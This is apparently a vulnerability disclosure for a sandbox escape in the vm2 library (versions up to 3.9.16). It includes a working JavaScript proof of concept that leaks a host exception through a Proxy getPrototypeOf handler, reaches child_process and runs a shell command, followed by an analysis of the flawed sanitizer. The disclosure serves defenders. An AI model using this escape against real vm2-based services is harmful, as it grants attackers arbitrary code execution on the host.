Sandbox Escape in [email protected]

Summary

There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException() which can be used to escape the sandbox and run arbitrary code in host context.

Proof of Concept

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)

handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object's prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Impact

Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.

Credits

Xion (SeungHyun Lee) of KAIST Hacking Lab

leesh3288/vm2_3.9.16_sandbox_escape.md